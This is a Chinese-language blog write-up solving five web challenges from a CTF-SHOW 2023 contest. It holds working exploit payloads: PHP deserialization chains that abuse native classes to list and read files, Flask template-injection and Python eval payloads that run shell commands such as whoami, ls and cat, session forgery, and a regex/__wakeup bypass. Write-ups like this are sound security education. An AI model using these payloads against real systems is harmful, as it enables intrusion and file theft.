Z1d10tのBlog

A note for myself,have fun!

  1. 1. Challenge_1 easy_signin
  2. 2. Challenge_2 被遗忘的反序列化
  3. 3. Challenge_3 easy_ssti
  4. 4. challenge_4 easy_flask
  5. 5. Challenge_5 easy_php
  6. 6. 后记:

CTF-SHOW 2023愚人杯 WEB部分WP

Challenge_1 easy_signin

这道题像是buuctf一个题目的套皮,查看源码和url,图片内容是以base64编码输出的,并且请求文件名称也是通过base64编码,直接查看index.php的内容,先编码一下index.php

img

payload:?img=aW5kZXgucGhw

拿到base64加密后的内容

img

再去解密一下,拿到flag

img

Challenge_2 被遗忘的反序列化

这道题目没做出来,一开始就卡住了,他提示当前目录有个txt文件,那么就应该先去读这个文件获取相应的提示,不会啊,看了wp,发现用了php原生类读的,真的太强了

然后这道题预期解真的太麻烦了,还要涉及密码偏移问题,而且还要脚本爆破,非预期真的很简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php

# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");

class EeE{
public $text;
public $eeee;
public function __wakeup(){
if ($this->text == "aaaa"){
echo lcfirst($this->text);
}
}

public function __get($kk){
echo "$kk,eeeeeeeeeeeee";
}

public function __clone(){
$a = new cycycycy;
$a -> aaa();
}

}

class cycycycy{
public $a;
private $b;

public function aaa(){
$get = $_GET['get'];
$get = cipher($get);
if($get === "p8vfuv8g8v8py"){
eval($_POST["eval"]);
}
}


public function __invoke(){
$a_a = $this -> a;
echo "\$a_a\$";
}
}

class gBoBg{
public $name;
public $file;
public $coos;
private $eeee="-_-";
public function __toString(){
if(isset($this->name)){
$a = new $this->coos($this->file);
echo $a;
}else if(!isset($this -> file)){
return $this->coos->name;
}else{
$aa = $this->coos;
$bb = $this->file;
return $aa();
}
}
}

class w_wuw_w{
public $aaa;
public $key;
public $file;
public function __wakeup(){
if(!preg_match("/php|63|\*|\?/i",$this -> key)){
$this->key = file_get_contents($this -> file);
}else{
echo "不行哦";
}
}

public function __destruct(){
echo $this->aaa;
}

public function __invoke(){
$this -> aaa = clone new EeE;
}
}

$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);

直接来看这里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class gBoBg{
public $name;
public $file;
public $coos;
private $eeee="-_-";
public function __toString(){
if(isset($this->name)){
$a = new $this->coos($this->file);
echo $a;
}else if(!isset($this -> file)){
return $this->coos->name;
}else{
$aa = $this->coos;
$bb = $this->file;
return $aa();
}
}
}

$a = new $this->coos($this->file); 这一行 看到这里我们是不是可以构造一个可变函数 形如:$a($b)的形式达到getshell的操作 但是这里有个new 将类实例化 也就意为着不能通过这样来构造可变函数

那么这里就用到了php的原生类,具体看这篇文章:https://blog.csdn.net/cjdgg/article/details/115314651

可遍历目录的原生类:

DirectoryIterator 类
FilesystemIterator 类

GlobIterator 类

使用 DirectoryIterator 类
DirectoryIterator配合glob://协议结合将无视open_basedir对目录的限制,可以用来列举出指定目录下的文件。

比如以这样的/f*形式模糊操作来获得flag的文件名

比如我win电脑上d盘根目录下存在一个blog文件,我就可以利用原生类再配合glob协议获取到该文件的具体文件名

img

回到题目:本地构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class gBoBg{
public $name;
public $file;
public $coos;
}


class w_wuw_w{
public $aaa;
public $key;
public $file;
}


$w=new w_wuw_w();
$w->aaa=new gBoBg(); //通过类W_WUW_W中的析构函数来调用类gBoBg中的__toString魔术方法
$w->aaa->name="1";
$w->aaa->file="glob:///f*";
$w->aaa->coos="DirectoryIterator";
echo urlencode(serialize($w));
?>

然后这里传参是通过请求包中AAAAAA来传参的蛮新颖的

img

然后再通过读文件原生类来读flag

SplFileObject

本地构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class gBoBg{
public $name;
public $file;
public $coos;
}


class w_wuw_w{
public $aaa;
public $key;
public $file;
}


$w=new w_wuw_w();
$w->aaa=new gBoBg(); //通过类W_WUW_W中的析构函数来调用类gBoBg中的__toString魔术方法
$w->aaa->name="1";
$w->aaa->file="/f1agaaa";
$w->aaa->coos="SplFileObject";
echo serialize($w);
?>

img

Challenge_3 easy_ssti

这道题还是蛮简单的 根据题目是一个模板注入的题目

查看源码 下载一个压缩包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)

@app.route('/hello/')
def hello(name=None):
return render_template('hello.html',name=name)
@app.route('/hello/<name>')
def hellodear(name):
if "ge" in name:
return render_template_string('hello %s' % name)
elif "f" not in name:
return render_template_string('hello %s' % name)
else:
return 'Nonononon'

一眼顶针,flask的模板注入

img

然后网上payoad太多了(https://blog.csdn.net/qq_46918279/article/details/121270806)

这里主要过滤了斜杠,可以用${HOME:0:1}绕过

payload:

{{get_flashed_messages.__globals__['os'].popen('whoami').read()}}

{{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat ${HOME:0:1}[e-g]lag').read()}}

img

challenge_4 easy_flask

这道题目快做出来了,最后一步没有去读取当前目录下的app.py的文件去看源码,真给自己无语住了,脑子被大便灌了一样

回到题目:

看标题还是关于flask模板的漏洞

申请一个账号进去

img

最后一句话他说只会给admin给一些东西,那么目标就很明确了,flask模板常见的session伪造,找一个脚本伪造就行了

img

之后给到一个假的flag 然后注意到他请求方式

img

他现在给的源代码只是一部分,我们应该通过读app.py来获取完整的源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
# app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response


app = Flask(__name__)


app.secret_key = 'S3cr3tK3y'

users = {
'admin': {'password': 'LKHSADSFHLA;KHLK;FSDHLK;ASFD', 'role': 'admin'}
}



@app.route('/')
def index():
# Check if user is loggedin
if 'loggedin' in session:
return redirect(url_for('profile'))
return redirect(url_for('login'))

@app.route('/login/', methods=['GET', 'POST'])
def login():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users and password == users[username]['password']:
session['loggedin'] = True
session['username'] = username
session['role'] = users[username]['role']
return redirect(url_for('profile'))
else:
msg = 'Incorrect username/password!'
return render_template('login2.html', msg=msg)


@app.route('/register/', methods=['GET', 'POST'])
def register():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users:
msg = 'Account already exists!'
else:
users[username] = {'password': password, 'role': 'user'}
msg = 'You have successfully registered!'
return render_template('register2.html', msg=msg)



@app.route('/profile/')
def profile():
if 'loggedin' in session:
return render_template('profile2.html', username=session['username'], role=session['role'])
return redirect(url_for('login'))


@app.route('/show/')
def show():
if 'loggedin' in session:
return render_template('show2.html')

@app.route('/download/')
def download():
if 'loggedin' in session:
filename = request.args.get('filename')
if 'filename' in request.args:
return send_file(filename, as_attachment=True)

return redirect(url_for('login'))


@app.route('/hello/')
def hello_world():
try:
s = request.args.get('eval')
return f"hello,{eval(s)}"
except Exception as e:
print(e)
pass

return "hello"



@app.route('/logout/')
def logout():
session.pop('loggedin', None)
session.pop('id', None)
session.pop('username', None)
session.pop('role', None)
return redirect(url_for('login'))


if __name__ == "__main__":
app.run(host='0.0.0.0', port=8080)

注意到这里 可以进行命令执行 注意是python的命令执行和php的形式稍有不同

1
2
3
4
5
6
7
8
9
10
11
12
@app.route('/hello/')
def hello_world():
try:
s = request.args.get('eval')
return f"hello,{eval(s)}"
except Exception as e:
print(e)
pass

return "hello"
/hello/?eval=__import__('os').popen('ls /').read()
/hello/?eval=__import__('os').popen('cat /flag_is_h3re').read()

稍微解释一下 还是不太熟悉python的命令执行 是通过调用模块的方式

import() 函数用于动态加载类和函数

os — 操作系统接口模块

os.popen() 方法用于从一个命令打开一个管道。

read() 方法用于从文件读取指定的字节数,如果未给定或为负则读取所有。

img

img

Challenge_5 easy_php

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfshow{

public function __wakeup(){
die("not allowed!");
}

public function __destruct(){
system($this->ctfshow);
}

}

$data = $_GET['1+1>2'];

if(!preg_match("/^[Oa]:[\d]+/i", $data)){
unserialize($data);
}


?>

这道题不会做,看了wp还是蛮神奇的,简单分析一下

应该是通过反序列化去执行ctfshow类中的system()函数

这里首先解除一下我固有的想法,我们都知道,当反序列化时首先会执行__wakeup魔术方法,这道题执行后会用到die()函数,程序运行完了,我原以为要通过增加对象属性方法去绕过__wakeup函数,但是发现没必要,因为析构函数不会受到影响。

img

所以没必要去绕过

那么这道题目最主要的就是去绕过这个正则匹配

1
2
3
if(!preg_match("/^[Oa]:[\d]+/i", $data)){
unserialize($data);
}

我们传参不能以O或者a开头

我们都知道序列化后的字符串首字母就为O 意为object对象的意思

那么这里应该怎么绕过呢

这里考到了 PHP7.3 __wakeup绕过,ArrayObject内置类 并且这个类可以起到类似于反序列化我们传入的序列化对象,当然这里说的不严谨,但可以这样理解参考:https://juejin.cn/post/7105704360155283469

注意这里只能在php7.3版本下才能成功,一开始复现的时候没注意到

img

c打头

那么问题来了,为什么要ban a字符呢ban了o字符不久行了嘛

如果不ban a 我们可以直接序列化数组去包含我们的恶意代码从而达到getshell

img

明白之后,本地构造

img

这里传参的时候记得把1+1>2 url编码一下

img

之后就是读取了。

后记:

这次最主要学到了php原生类的知识点把,tql!!!!

本文最后更新于 天前,文中所描述的信息可能已发生改变